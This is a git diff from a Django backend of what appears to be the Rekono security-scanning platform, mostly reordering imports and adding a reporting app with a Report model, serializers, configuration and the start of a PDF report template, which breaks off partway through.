( ClearProject, Help, @@ -20,11 +24,8 @@ SelectProject, Tool, ) -from telegram.ext import Application from platforms.telegram_app.framework import BaseTelegram from platforms.telegram_app.models import TelegramSettings -from telegram.error import Forbidden, InvalidToken -from telegram.warnings import PTBUserWarning filterwarnings( action="ignore", message=r".*CallbackQueryHandler", category=PTBUserWarning diff --git a/src/backend/platforms/telegram_app/bot/commands.py b/src/backend/platforms/telegram_app/bot/commands.py index 14a2b3bdf..cae14def8 100644 --- a/src/backend/platforms/telegram_app/bot/commands.py +++ b/src/backend/platforms/telegram_app/bot/commands.py @@ -2,13 +2,14 @@ from typing import Any, List from asgiref.sync import sync_to_async +from telegram import Update +from telegram.ext import CallbackContext, CommandHandler, ConversationHandler + from platforms.telegram_app.bot.enums import Context, Section from platforms.telegram_app.bot.framework import BaseTelegramBot from platforms.telegram_app.models import TelegramChat from rekono.settings import DESCRIPTION from security.cryptography.hashing import hash -from telegram import Update -from telegram.ext import CallbackContext, CommandHandler, ConversationHandler from users.models import User logger = logging.getLogger() diff --git a/src/backend/platforms/telegram_app/bot/conversations.py b/src/backend/platforms/telegram_app/bot/conversations.py index 0880da598..6349570f0 100644 --- a/src/backend/platforms/telegram_app/bot/conversations.py +++ b/src/backend/platforms/telegram_app/bot/conversations.py @@ -1,5 +1,15 @@ from typing import Any, Callable, List +from telegram import Update +from telegram.ext import ( + CallbackContext, + CallbackQueryHandler, + CommandHandler, + ConversationHandler, + MessageHandler, + filters, +) + from platforms.telegram_app.bot.commands import Cancel from platforms.telegram_app.bot.enums import Context, Section from platforms.telegram_app.bot.framework import BaseTelegramBot @@ -19,15 +29,6 @@ ToolMixin, ) from platforms.telegram_app.bot.mixins.wordlists import WordlistMixin -from telegram import Update -from telegram.ext import ( - CallbackContext, - CallbackQueryHandler, - CommandHandler, - ConversationHandler, - MessageHandler, - filters, -) class BaseConversation(ConversationHandler, BaseTelegramBot): diff --git a/src/backend/platforms/telegram_app/bot/framework.py b/src/backend/platforms/telegram_app/bot/framework.py index af888a328..d8e7d6115 100644 --- a/src/backend/platforms/telegram_app/bot/framework.py +++ b/src/backend/platforms/telegram_app/bot/framework.py @@ -2,13 +2,14 @@ from typing import Any from asgiref.sync import sync_to_async -from platforms.telegram_app.bot.enums import Context -from platforms.telegram_app.framework import BaseTelegram -from platforms.telegram_app.models import TelegramChat from telegram import Update from telegram.constants import ParseMode from telegram.ext import CallbackContext +from platforms.telegram_app.bot.enums import Context +from platforms.telegram_app.framework import BaseTelegram +from platforms.telegram_app.models import TelegramChat + logger = logging.getLogger() diff --git a/src/backend/platforms/telegram_app/bot/mixins/authentications.py b/src/backend/platforms/telegram_app/bot/mixins/authentications.py index 5e746182a..12621c3de 100644 --- a/src/backend/platforms/telegram_app/bot/mixins/authentications.py +++ b/src/backend/platforms/telegram_app/bot/mixins/authentications.py @@ -1,9 +1,10 @@ +from telegram import Update +from telegram.ext import CallbackContext, ConversationHandler + from authentications.enums import AuthenticationType from authentications.serializers import AuthenticationSerializer from platforms.telegram_app.bot.enums import Context from platforms.telegram_app.bot.mixins.framework import BaseMixin -from telegram import Update -from telegram.ext import CallbackContext, ConversationHandler class AuthenticationMixin(BaseMixin): diff --git a/src/backend/platforms/telegram_app/bot/mixins/framework.py b/src/backend/platforms/telegram_app/bot/mixins/framework.py index 882e4352c..56aa8033d 100644 --- a/src/backend/platforms/telegram_app/bot/mixins/framework.py +++ b/src/backend/platforms/telegram_app/bot/mixins/framework.py @@ -1,16 +1,17 @@ import logging -from typing import Any, Dict, List, Tuple, Callable, Optional +from typing import Any, Callable, Dict, List, Optional, Tuple from asgiref.sync import sync_to_async from django.db import IntegrityError from django.db.models import QuerySet +from rest_framework.serializers import Serializer +from telegram import InlineKeyboardButton, InlineKeyboardMarkup, Update +from telegram.ext import CallbackContext, ConversationHandler + from platforms.telegram_app.bot.commands import Cancel from platforms.telegram_app.bot.enums import Context from platforms.telegram_app.bot.framework import BaseTelegramBot from platforms.telegram_app.models import TelegramChat -from rest_framework.serializers import Serializer -from telegram import InlineKeyboardButton, InlineKeyboardMarkup, Update -from telegram.ext import CallbackContext, ConversationHandler logger = logging.getLogger() diff --git a/src/backend/platforms/telegram_app/bot/mixins/parameters.py b/src/backend/platforms/telegram_app/bot/mixins/parameters.py index 71e83cf45..5d18c08e0 100644 --- a/src/backend/platforms/telegram_app/bot/mixins/parameters.py +++ b/src/backend/platforms/telegram_app/bot/mixins/parameters.py @@ -1,11 +1,12 @@ +from telegram import Update +from telegram.ext import CallbackContext, ConversationHandler + from parameters.serializers import ( InputTechnologySerializer, InputVulnerabilitySerializer, ) from platforms.telegram_app.bot.enums import Context from platforms.telegram_app.bot.mixins.framework import BaseMixin -from telegram import Update -from telegram.ext import CallbackContext, ConversationHandler class InputTechnologyMixin(BaseMixin): diff --git a/src/backend/platforms/telegram_app/bot/mixins/process.py b/src/backend/platforms/telegram_app/bot/mixins/process.py index 8b84ff91d..dc0858dd6 100644 --- a/src/backend/platforms/telegram_app/bot/mixins/process.py +++ b/src/backend/platforms/telegram_app/bot/mixins/process.py @@ -1,8 +1,9 @@ +from telegram import Update +from telegram.ext import CallbackContext + from platforms.telegram_app.bot.enums import Context from platforms.telegram_app.bot.mixins.framework import BaseMixin from processes.models import Process -from telegram import Update -from telegram.ext import CallbackContext class ProcessMixin(BaseMixin): diff --git a/src/backend/platforms/telegram_app/bot/mixins/projects.py b/src/backend/platforms/telegram_app/bot/mixins/projects.py index bdf710a1d..a4a8dc7bc 100644 --- a/src/backend/platforms/telegram_app/bot/mixins/projects.py +++ b/src/backend/platforms/telegram_app/bot/mixins/projects.py @@ -1,8 +1,9 @@ +from telegram import Update +from telegram.ext import CallbackContext, ConversationHandler + from platforms.telegram_app.bot.enums import Context from platforms.telegram_app.bot.mixins.framework import BaseMixin from projects.models import Project -from telegram import Update -from telegram.ext import CallbackContext, ConversationHandler class ProjectMixin(BaseMixin): diff --git a/src/backend/platforms/telegram_app/bot/mixins/target_ports.py b/src/backend/platforms/telegram_app/bot/mixins/target_ports.py index 976d51392..841e1565d 100644 --- a/src/backend/platforms/telegram_app/bot/mixins/target_ports.py +++ b/src/backend/platforms/telegram_app/bot/mixins/target_ports.py @@ -1,9 +1,10 @@ +from telegram import Update +from telegram.ext import CallbackContext, ConversationHandler + from platforms.telegram_app.bot.commands import Cancel from platforms.telegram_app.bot.enums import Context from platforms.telegram_app.bot.mixins.framework import BaseMixin from target_ports.serializers import TargetPortSerializer -from telegram import Update -from telegram.ext import CallbackContext, ConversationHandler class TargetPortMixin(BaseMixin): diff --git a/src/backend/platforms/telegram_app/bot/mixins/targets.py b/src/backend/platforms/telegram_app/bot/mixins/targets.py index baf5ca537..ed3c537d8 100644 --- a/src/backend/platforms/telegram_app/bot/mixins/targets.py +++ b/src/backend/platforms/telegram_app/bot/mixins/targets.py @@ -1,9 +1,10 @@ +from telegram import Update +from telegram.ext import CallbackContext + from platforms.telegram_app.bot.enums import Context from platforms.telegram_app.bot.mixins.framework import BaseMixin from targets.models import Target from targets.serializers import TargetSerializer -from telegram import Update -from telegram.ext import CallbackContext class TargetMixin(BaseMixin): diff --git a/src/backend/platforms/telegram_app/bot/mixins/tasks.py b/src/backend/platforms/telegram_app/bot/mixins/tasks.py index 1ce97f43e..146022350 100644 --- a/src/backend/platforms/telegram_app/bot/mixins/tasks.py +++ b/src/backend/platforms/telegram_app/bot/mixins/tasks.py @@ -1,8 +1,9 @@ +from telegram import Update +from telegram.ext import CallbackContext, ConversationHandler + from platforms.telegram_app.bot.enums import Context from platforms.telegram_app.bot.mixins.framework import BaseMixin from tasks.serializers import TaskSerializer -from telegram import Update -from telegram.ext import CallbackContext, ConversationHandler class TaskMixin(BaseMixin): diff --git a/src/backend/platforms/telegram_app/bot/mixins/tools.py b/src/backend/platforms/telegram_app/bot/mixins/tools.py index 18e1ee8e1..59456cae3 100644 --- a/src/backend/platforms/telegram_app/bot/mixins/tools.py +++ b/src/backend/platforms/telegram_app/bot/mixins/tools.py @@ -1,9 +1,10 @@ from asgiref.sync import sync_to_async from django.db.models import QuerySet -from platforms.telegram_app.bot.enums import Context -from platforms.telegram_app.bot.mixins.framework import BaseMixin from telegram import Update from telegram.ext import CallbackContext, ConversationHandler + +from platforms.telegram_app.bot.enums import Context +from platforms.telegram_app.bot.mixins.framework import BaseMixin from tools.enums import Intensity from tools.models import Configuration, Tool diff --git a/src/backend/platforms/telegram_app/bot/mixins/wordlists.py b/src/backend/platforms/telegram_app/bot/mixins/wordlists.py index d0a2d1c66..0c68e252d 100644 --- a/src/backend/platforms/telegram_app/bot/mixins/wordlists.py +++ b/src/backend/platforms/telegram_app/bot/mixins/wordlists.py @@ -1,11 +1,12 @@ from typing import List from asgiref.sync import sync_to_async +from telegram import InlineKeyboardButton, InlineKeyboardMarkup, Update +from telegram.ext import CallbackContext + from input_types.enums import InputTypeName from platforms.telegram_app.bot.enums import Context from platforms.telegram_app.bot.mixins.framework import BaseMixin -from telegram import InlineKeyboardButton, InlineKeyboardMarkup, Update -from telegram.ext import CallbackContext from tools.models import Input from wordlists.models import Wordlist diff --git a/src/backend/platforms/telegram_app/framework.py b/src/backend/platforms/telegram_app/framework.py index d0f2567fe..d433ce722 100644 --- a/src/backend/platforms/telegram_app/framework.py +++ b/src/backend/platforms/telegram_app/framework.py @@ -2,12 +2,13 @@ import logging from typing import Any, Optional -from platforms.telegram_app.models import TelegramChat, TelegramSettings from telegram.constants import ParseMode from telegram.error import Forbidden, InvalidToken from telegram.ext import Application from telegram.helpers import escape_markdown +from platforms.telegram_app.models import TelegramChat, TelegramSettings + logger = logging.getLogger() diff --git a/src/backend/platforms/telegram_app/management/commands/telegram_bot.py b/src/backend/platforms/telegram_app/management/commands/telegram_bot.py index a7d4c55e2..a7942a728 100644 --- a/src/backend/platforms/telegram_app/management/commands/telegram_bot.py +++ b/src/backend/platforms/telegram_app/management/commands/telegram_bot.py @@ -1,6 +1,7 @@ from typing import Any from django.core.management.base import BaseCommand + from platforms.telegram_app.bot.bot import TelegramBot diff --git a/src/backend/platforms/telegram_app/models.py b/src/backend/platforms/telegram_app/models.py index 5ab3b7df2..f467900bc 100644 --- a/src/backend/platforms/telegram_app/models.py +++ b/src/backend/platforms/telegram_app/models.py @@ -1,5 +1,6 @@ from django.db import models from django.db.models import Q + from framework.models import BaseEncrypted, BaseModel from rekono.settings import AUTH_USER_MODEL from security.authorization.roles import Role diff --git a/src/backend/platforms/telegram_app/notifications/notifications.py b/src/backend/platforms/telegram_app/notifications/notifications.py index 45bb7e55e..148b6e1a1 100644 --- a/src/backend/platforms/telegram_app/notifications/notifications.py +++ b/src/backend/platforms/telegram_app/notifications/notifications.py @@ -1,12 +1,12 @@ -from typing import Dict, List, Any +from typing import Any, Dict, List from django.forms.models import model_to_dict from executions.models import Execution from findings.framework.models import Finding from framework.platforms import BaseNotification from platforms.telegram_app.framework import BaseTelegram -from platforms.telegram_app.models import TelegramChat from platforms.telegram_app.notifications.templates import EXECUTION, FINDINGS, HEADER +from rekono.settings import CONFIG from users.models import User @@ -17,6 +17,11 @@ def is_available(self) -> bool: self.initialize() return bool(self.settings.secret and self.app and self.app.bot) + def _notify(self, users: List[Any], message: str) -> None: + for user in users: + if hasattr(user, "telegram_chat"): + self._send_message(user.telegram_chat, message) + def _notify_execution( self, users: List[User], execution: Execution, findings: List[Finding] ) -> None: @@ -56,17 +61,22 @@ def _notify_execution( ] ), ) - for user in users: - self._send_message(user.telegram_chat, message) + self._notify_if_available(users, message) - def welcome_message(self, chat: TelegramChat) -> None: - self._send_message( - chat, - f"Welcome *{self._escape(chat.user.username)}*\! Your Rekono bot is ready", + def welcome_message(self, user: User) -> None: + self._notify_if_available( + [user], + f"Welcome *{self._escape(user.username)}*\! Your Rekono bot is ready", ) - def logout_after_password_change_message(self, chat: TelegramChat) -> None: - self._send_message( - chat, + def logout_after_password_change_message(self, user: User) -> None: + self._notify_if_available( + [user], "Your session in the Rekono bot has been closed after your password change. Please, execute /start to link it again", ) + + def report_created(self, report: Any) -> None: + self._notify_if_enabled( + [report.user], + f"{report.format.upper()} report with ID {report.id} from {f'project {report.project.name}' if report.project else (f'target {report.target.target}' if report.target else f'task {report.task.id}')} has been created and it's available to download it [here]({CONFIG.frontend_url}/#/projects/{report.get_project().id}/reports)", + ) diff --git a/src/backend/platforms/telegram_app/serializers.py b/src/backend/platforms/telegram_app/serializers.py index a22470f18..8344da20e 100644 --- a/src/backend/platforms/telegram_app/serializers.py +++ b/src/backend/platforms/telegram_app/serializers.py @@ -71,7 +71,7 @@ def create(self, validated_data: Dict[str, Any]) -> TelegramChat: update_fields=["otp", "otp_expiration", "user"] ) SMTP().telegram_linked_notification(validated_data["user"]) - Telegram().welcome_message(validated_data["telegram_chat"]) + Telegram().welcome_message(validated_data["user"]) logger.info( f"[Security] User {validated_data['user'].id} has logged in the Telegram bot", extra={"user": validated_data["user"].id}, diff --git a/src/backend/platforms/telegram_app/urls.py b/src/backend/platforms/telegram_app/urls.py index bbc6ab494..821be32b2 100644 --- a/src/backend/platforms/telegram_app/urls.py +++ b/src/backend/platforms/telegram_app/urls.py @@ -1,6 +1,7 @@ -from platforms.telegram_app.views import TelegramChatViewSet, TelegramSettingsViewSet from rest_framework.routers import SimpleRouter +from platforms.telegram_app.views import TelegramChatViewSet, TelegramSettingsViewSet + # Register your views here. router = SimpleRouter() diff --git a/src/backend/platforms/telegram_app/views.py b/src/backend/platforms/telegram_app/views.py index 22c0c1d58..6c6f780ef 100644 --- a/src/backend/platforms/telegram_app/views.py +++ b/src/backend/platforms/telegram_app/views.py @@ -1,10 +1,11 @@ +from rest_framework.permissions import IsAuthenticated + from framework.views import BaseViewSet from platforms.telegram_app.models import TelegramChat, TelegramSettings from platforms.telegram_app.serializers import ( TelegramChatSerializer, TelegramSettingsSerializer, ) -from rest_framework.permissions import IsAuthenticated from security.authorization.permissions import OwnerPermission, RekonoModelPermission # Create your views here. diff --git a/src/backend/processes/admin.py b/src/backend/processes/admin.py index cad120686..6d4ae5efc 100644 --- a/src/backend/processes/admin.py +++ b/src/backend/processes/admin.py @@ -1,4 +1,5 @@ from django.contrib import admin + from processes.models import Process, Step # Register your models here. diff --git a/src/backend/processes/apps.py b/src/backend/processes/apps.py index 73e5e2740..666e73adc 100644 --- a/src/backend/processes/apps.py +++ b/src/backend/processes/apps.py @@ -2,6 +2,7 @@ from typing import Any, List from django.apps import AppConfig + from framework.apps import BaseApp diff --git a/src/backend/processes/filters.py b/src/backend/processes/filters.py index 86cf05c2b..5fbb48549 100644 --- a/src/backend/processes/filters.py +++ b/src/backend/processes/filters.py @@ -1,5 +1,6 @@ from django_filters.filters import CharFilter, ChoiceFilter, ModelChoiceFilter from django_filters.rest_framework import FilterSet + from framework.filters import LikeFilter from processes.models import Process, Step from tools.models import Configuration, Tool diff --git a/src/backend/processes/models.py b/src/backend/processes/models.py index 8d484f953..59be4ffc3 100644 --- a/src/backend/processes/models.py +++ b/src/backend/processes/models.py @@ -1,8 +1,9 @@ from django.db import models +from taggit.managers import TaggableManager + from framework.models import BaseLike, BaseModel from rekono.settings import AUTH_USER_MODEL from security.validators.input_validator import Regex, Validator -from taggit.managers import TaggableManager from tools.models import Configuration # Create your models here. diff --git a/src/backend/processes/serializers.py b/src/backend/processes/serializers.py index c78a4580e..7ff1d14f0 100644 --- a/src/backend/processes/serializers.py +++ b/src/backend/processes/serializers.py @@ -1,8 +1,9 @@ +from rest_framework.serializers import ModelSerializer, PrimaryKeyRelatedField +from taggit.serializers import TaggitSerializer + from framework.fields import TagField from framework.serializers import LikeSerializer from processes.models import Process, Step -from rest_framework.serializers import ModelSerializer, PrimaryKeyRelatedField -from taggit.serializers import TaggitSerializer from tools.models import Configuration from tools.serializers import ConfigurationSerializer from users.serializers import SimpleUserSerializer diff --git a/src/backend/processes/urls.py b/src/backend/processes/urls.py index eb02d060d..14ce5ada1 100644 --- a/src/backend/processes/urls.py +++ b/src/backend/processes/urls.py @@ -1,6 +1,7 @@ -from processes.views import ProcessViewSet, StepViewSet from rest_framework.routers import SimpleRouter +from processes.views import ProcessViewSet, StepViewSet + # Register your views here. router = SimpleRouter() diff --git a/src/backend/processes/views.py b/src/backend/processes/views.py index e0a778355..b39ae998b 100644 --- a/src/backend/processes/views.py +++ b/src/backend/processes/views.py @@ -1,8 +1,9 @@ +from rest_framework.permissions import IsAuthenticated + from framework.views import BaseViewSet, LikeViewSet from processes.filters import ProcessFilter, StepFilter from processes.models import Process, Step from processes.serializers import ProcessSerializer, StepSerializer -from rest_framework.permissions import IsAuthenticated from security.authorization.permissions import OwnerPermission, RekonoModelPermission # Create your views here. diff --git a/src/backend/projects/admin.py b/src/backend/projects/admin.py index 9b622ca51..83cef6136 100644 --- a/src/backend/projects/admin.py +++ b/src/backend/projects/admin.py @@ -1,4 +1,5 @@ from django.contrib import admin + from projects.models import Project # Register your models here. diff --git a/src/backend/projects/apps.py b/src/backend/projects/apps.py index f9923ceff..5080ef27c 100644 --- a/src/backend/projects/apps.py +++ b/src/backend/projects/apps.py @@ -1,4 +1,5 @@ from django.apps import AppConfig + from framework.apps import BaseApp diff --git a/src/backend/projects/filters.py b/src/backend/projects/filters.py index 99f7397f7..2f9dc606d 100644 --- a/src/backend/projects/filters.py +++ b/src/backend/projects/filters.py @@ -1,5 +1,6 @@ from django_filters.filters import CharFilter, NumberFilter from django_filters.rest_framework import FilterSet + from projects.models import Project diff --git a/src/backend/projects/models.py b/src/backend/projects/models.py index 079e5cb18..e2825fdf3 100644 --- a/src/backend/projects/models.py +++ b/src/backend/projects/models.py @@ -1,10 +1,11 @@ from typing import Any from django.db import models +from taggit.managers import TaggableManager + from framework.models import BaseModel from rekono.settings import AUTH_USER_MODEL from security.validators.input_validator import Regex, Validator -from taggit.managers import TaggableManager # Create your models here. diff --git a/src/backend/projects/serializers.py b/src/backend/projects/serializers.py index 9216cce01..844b7396a 100644 --- a/src/backend/projects/serializers.py +++ b/src/backend/projects/serializers.py @@ -3,11 +3,12 @@ from django.db import transaction from django.shortcuts import get_object_or_404 +from rest_framework.serializers import IntegerField, ModelSerializer, Serializer +from taggit.serializers import TaggitSerializer + from framework.fields import TagField from platforms.defect_dojo.serializers import DefectDojoSyncSerializer from projects.models import Project -from rest_framework.serializers import IntegerField, ModelSerializer, Serializer -from taggit.serializers import TaggitSerializer from targets.serializers import SimpleTargetSerializer from users.models import User from users.serializers import SimpleUserSerializer diff --git a/src/backend/projects/urls.py b/src/backend/projects/urls.py index 11deab0ac..db934a72c 100644 --- a/src/backend/projects/urls.py +++ b/src/backend/projects/urls.py @@ -1,6 +1,7 @@ -from projects.views import ProjectViewSet from rest_framework.routers import SimpleRouter +from projects.views import ProjectViewSet + # Register your views here. router = SimpleRouter() diff --git a/src/backend/projects/views.py b/src/backend/projects/views.py index 436ac4034..8f27028cc 100644 --- a/src/backend/projects/views.py +++ b/src/backend/projects/views.py @@ -1,14 +1,15 @@ from drf_spectacular.utils import extend_schema -from framework.views import BaseViewSet -from projects.filters import ProjectFilter -from projects.models import Project -from projects.serializers import ProjectMemberSerializer, ProjectSerializer from rest_framework import status from rest_framework.decorators import action from rest_framework.generics import get_object_or_404 from rest_framework.permissions import IsAuthenticated from rest_framework.request import Request from rest_framework.response import Response + +from framework.views import BaseViewSet +from projects.filters import ProjectFilter +from projects.models import Project +from projects.serializers import ProjectMemberSerializer, ProjectSerializer from security.authorization.permissions import ( ProjectMemberPermission, RekonoModelPermission, diff --git a/src/backend/rekono/config.py b/src/backend/rekono/config.py index cc421ab6f..6d79d7236 100644 --- a/src/backend/rekono/config.py +++ b/src/backend/rekono/config.py @@ -18,9 +18,17 @@ def __init__(self) -> None: if self.testing: self.home = self.base_dir / "tests" / "home" self.reports = self.home / "reports" + self.generated_reports = self.reports / "generated" self.wordlists = self.home / "wordlists" self.logs = self.home / "logs" - for path in [self.home, self.reports, self.wordlists, self.logs]: + self.pdf_report_template: Optional[Path] = None + for path in [ + self.home, + self.reports, + self.generated_reports, + self.wordlists, + self.logs, + ]: path.mkdir(exist_ok=True) if self.testing: shutil.copy(self.config_file, self.home) @@ -33,6 +41,13 @@ def __init__(self) -> None: self, property.name.lower() ): setattr(self, property.name.lower(), self._get_config(property)) + if not self.pdf_report_template: + default_filename = "pdf-report.html" + for path in [self.home, self.base_dir / "reporting" / "templates"]: + filepath = path / default_filename + if filepath.is_file(): + self.pdf_report_template = filepath + break def _get_home(self) -> Path: home_from_config = Path(self._get_config(Property.REKONO_HOME)) diff --git a/src/backend/rekono/properties.py b/src/backend/rekono/properties.py index f76041597..d0e33ed8b 100644 --- a/src/backend/rekono/properties.py +++ b/src/backend/rekono/properties.py @@ -28,6 +28,7 @@ class Property(Enum): SMTP_USER = ("RKN_SMTP_USER", "email.user", None) SMTP_PASSWORD = ("RKN_SMTP_PASSWORD", "email.password", None) SMTP_TLS = ("RKN_SMTP_TLS", "email.tls", True) + PDF_REPORT_TEMPLATE = (None, "reports.pdf-template", None) CMSEEK_DIR = ( "RKN_CMSEEK_RESULTS", "tools.cmseek.directory", diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index b7800c2b4..76b11163a 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -46,7 +46,6 @@ "django.contrib.contenttypes", "django.contrib.sessions", "django.contrib.messages", - "django.contrib.staticfiles", "django_rq", "drf_spectacular", "rest_framework", @@ -64,6 +63,7 @@ "platforms.telegram_app", "parameters", "projects", + "reporting", "security", "settings", "target_blacklist", @@ -159,7 +159,7 @@ LOGGING = { "version": 1, - # Disable default Django logging system + # Disable default Django logging system to avoid noise "disable_existing_loggers": False, "formatters": { "rekono": { @@ -328,7 +328,7 @@ # https://docs.djangoproject.com/en/4.2/howto/static-files/ STATIC_URL = "static/" -STATIC_ROOT = CONFIG.home / "static" +STATICFILES_DIRS = [CONFIG.base_dir.parent / "frontend" / "public" / "static"] # Default primary key field type # https://docs.djangoproject.com/en/4.2/ref/settings/#default-auto-field diff --git a/src/backend/rekono/urls.py b/src/backend/rekono/urls.py index d3af848f5..0c7b04268 100644 --- a/src/backend/rekono/urls.py +++ b/src/backend/rekono/urls.py @@ -22,8 +22,8 @@ SpectacularRedocView, SpectacularSwaggerView, ) -from rest_framework.urlpatterns import format_suffix_patterns from rekono.views import RQStatsView +from rest_framework.urlpatterns import format_suffix_patterns urlpatterns = [ path("admin/", admin.site.urls), @@ -39,6 +39,7 @@ path("api/", include("platforms.telegram_app.urls")), path("api/", include("processes.urls")), path("api/", include("projects.urls")), + path("api/", include("reporting.urls")), path("api/", include("security.authentication.urls")), path("api/", include("settings.urls")), path("api/", include("target_blacklist.urls")), diff --git a/src/backend/rekono/views.py b/src/backend/rekono/views.py index 867a38447..88ab315be 100644 --- a/src/backend/rekono/views.py +++ b/src/backend/rekono/views.py @@ -1,11 +1,12 @@ -from rest_framework.views import APIView -from rest_framework.status import HTTP_200_OK -from security.authorization.permissions import IsAdmin -from rest_framework.request import Request -from rest_framework.response import Response from django_rq.utils import get_statistics from drf_spectacular.utils import extend_schema, inline_serializer from rest_framework import serializers +from rest_framework.request import Request +from rest_framework.response import Response +from rest_framework.status import HTTP_200_OK +from rest_framework.views import APIView + +from security.authorization.permissions import IsAdmin exposed_fields = [ "jobs", # Enqueued jobs diff --git a/src/backend/reporting/__init__.py b/src/backend/reporting/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/reporting/admin.py b/src/backend/reporting/admin.py new file mode 100644 index 000000000..4ba4cb473 --- /dev/null +++ b/src/backend/reporting/admin.py @@ -0,0 +1,7 @@ +from django.contrib import admin + +from reporting.models import Report + +# Register your models here. + +admin.site.register(Report) diff --git a/src/backend/reporting/apps.py b/src/backend/reporting/apps.py new file mode 100644 index 000000000..0b36a572e --- /dev/null +++ b/src/backend/reporting/apps.py @@ -0,0 +1,7 @@ +from django.apps import AppConfig + +from framework.apps import BaseApp + + +class ReportingConfig(BaseApp, AppConfig): + name = "reporting" diff --git a/src/backend/reporting/enums.py b/src/backend/reporting/enums.py new file mode 100644 index 000000000..579341199 --- /dev/null +++ b/src/backend/reporting/enums.py @@ -0,0 +1,24 @@ +from django.db.models import TextChoices + + +class FindingName(TextChoices): + OSINT = "OSINT" + HOST = "Host" + PORT = "Port" + PATH = "Path" + TECHNOLOGY = "Technology" + CREDENTIAL = "Credential" + VULNERABILITY = "Vulnerability" + EXPLOIT = "Exploit" + + +class ReportFormat(TextChoices): + JSON = "json" + XML = "xml" + PDF = "pdf" + + +class ReportStatus(TextChoices): + READY = "Ready" + PENDING = "Pending" + ERROR = "Error" diff --git a/src/backend/reporting/filters.py b/src/backend/reporting/filters.py new file mode 100644 index 000000000..663cd518a --- /dev/null +++ b/src/backend/reporting/filters.py @@ -0,0 +1,16 @@ +from django_filters.rest_framework import FilterSet +from reporting.models import Report + + +class ReportFilter(FilterSet): + class Meta: + model = Report + fields = { + "project": ["exact"], + "target": ["exact"], + "task": ["exact"], + "status": ["exact"], + "format": ["exact"], + "user": ["exact"], + "date": ["gte", "lte", "exact"], + } diff --git a/src/backend/reporting/models.py b/src/backend/reporting/models.py new file mode 100644 index 000000000..35039775f --- /dev/null +++ b/src/backend/reporting/models.py @@ -0,0 +1,36 @@ +from typing import Any + +from django.db import models +from framework.models import BaseModel +from projects.models import Project +from rekono.settings import AUTH_USER_MODEL +from reporting.enums import ReportFormat, ReportStatus +from targets.models import Target +from tasks.models import Task + + +class Report(BaseModel): + project = models.ForeignKey( + Project, related_name="reports", on_delete=models.CASCADE, blank=True, null=True + ) + target = models.ForeignKey( + Target, related_name="reports", on_delete=models.CASCADE, blank=True, null=True + ) + task = models.ForeignKey( + Task, related_name="reports", on_delete=models.CASCADE, blank=True, null=True + ) + status = models.TextField( + max_length=7, choices=ReportStatus.choices, default=ReportStatus.PENDING + ) + format = models.TextField(max_length=4, choices=ReportFormat.choices) + path = models.TextField(max_length=300, blank=True, null=True) + user = models.ForeignKey( + AUTH_USER_MODEL, on_delete=models.CASCADE, blank=True, null=True + ) + date = models.DateTimeField(auto_now_add=True) + + def get_project(self) -> Any: + return (self.task or self.target or self.project).get_project() + + def __str__(self) -> str: + return f"{(self.task or self.target or self.project).__str__()} - {self.format} - {self.user.__str__()}" diff --git a/src/backend/reporting/serializers.py b/src/backend/reporting/serializers.py new file mode 100644 index 000000000..6acf894be --- /dev/null +++ b/src/backend/reporting/serializers.py @@ -0,0 +1,84 @@ +from typing import Any, Dict, List + +from django.core.exceptions import ValidationError +from findings.enums import TriageStatus +from reporting.enums import FindingName, ReportFormat +from reporting.models import Report +from rest_framework.serializers import ( + BooleanField, + ModelSerializer, + MultipleChoiceField, +) + + +class ReportSerializer(ModelSerializer): + class Meta: + model = Report + fields = ("id", "project", "target", "task", "status", "format", "user", "date") + + +class CreateReportSerializer(ModelSerializer): + only_true_positives = BooleanField(required=False, write_only=True) + finding_types = MultipleChoiceField( + choices=FindingName.choices, required=False, write_only=True + ) + validated_filter: Dict[str, Any] = {} + validated_finding_types: List[FindingName] = [] + + class Meta: + model = Report + fields = ( + "id", + "project", + "target", + "task", + "format", + "only_true_positives", + "finding_types", + "user", + ) + read_only_fields = ("user",) + + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + attrs = super().validate(attrs) + self.validated_filter = {} + no_mandatory_field = True + for field, filter_field in [ + ("task", "executions__task"), + ("target", "executions__task__target"), + ("project", "executions__task__target__project"), + ]: + value = attrs.get(field) + if value: + no_mandatory_field = False + self.validated_filter = ( + {filter_field: value} + if attrs.get("format") != ReportFormat.PDF + else {} + ) + only_true_positives = attrs.pop("only_true_positives", False) + if only_true_positives: + self.validated_filter.update( + {"triage_status": TriageStatus.TRUE_POSITIVE} + ) + else: + self.validated_filter.update( + { + "triage_status__in": [ + TriageStatus.UNTRIAGED, + TriageStatus.WONT_FIX, + TriageStatus.TRUE_POSITIVE, + ] + } + ) + break + if no_mandatory_field: + raise ValidationError( + "At lest one task, target or project must be provided", code="report" + ) + self.validated_finding_types = ( + attrs.pop("finding_types") + if "finding_types" in attrs and attrs.get("format") != ReportFormat.PDF + else None + ) or list(FindingName) + return attrs diff --git a/src/backend/reporting/templates/pdf-report.html b/src/backend/reporting/templates/pdf-report.html new file mode 100644 index 000000000..5953b0913 --- /dev/null +++ b/src/backend/reporting/templates/pdf-report.html @@ -0,0 +1,608 @@ + + + + + + + +
+ {% load static %} +
+
+

{{  project.name }}

+
+ Rekono +
+ +
+

Table of Contents

+
+ +
+ +
+

Summary

+

{{ project.description|default_if_none:"" }}

+
+ {% if stats|join:"," != "0,0,0,0,0" %} +
+
+
+
+
+ + { + "data": [{{ stats }}], + "labels": ["Critical", "High", "Medium", "Low", "Info"], + "title": {"_text": "Vulnerabilities by Severity", "x": 280, "y": 180}, + "type": "verticalbar", + "x": 190, "y": 50, + "barLabelFormat": "%s", + "bars": {"strokeColor": "#f01f34"}, + "barLabels": {"nudge": 10} + } + +
+ {% endif %} + + {% for target in targets %} +

{{ target.target }}

+ {% if targets|length > 1 %} + {% for key, items in stats_by_target.items %} + {% if key == target.id and items|join:"," != "0,0,0,0,0" %} +
+
+
+
+ + { + "data": [{{ items }}], + "labels": ["Critical", "High", "Medium", "Low", "Info"], + "title": {"_text": "Vulnerabilities by Severity", "x": 280, "y": 180}, + "type": "verticalbar", + "x": 190, "y": 50, + "barLabelFormat": "%s", + "bars": {"strokeColor": "#f01f34"}, + "barLabels": {"nudge": 10} + } + + {% endif %} + {% endfor %} + {% endif %} + + {% for key, items in findings.items %} + {% if key == target.id %} + + {% if items.OSINT %} +

OSINT

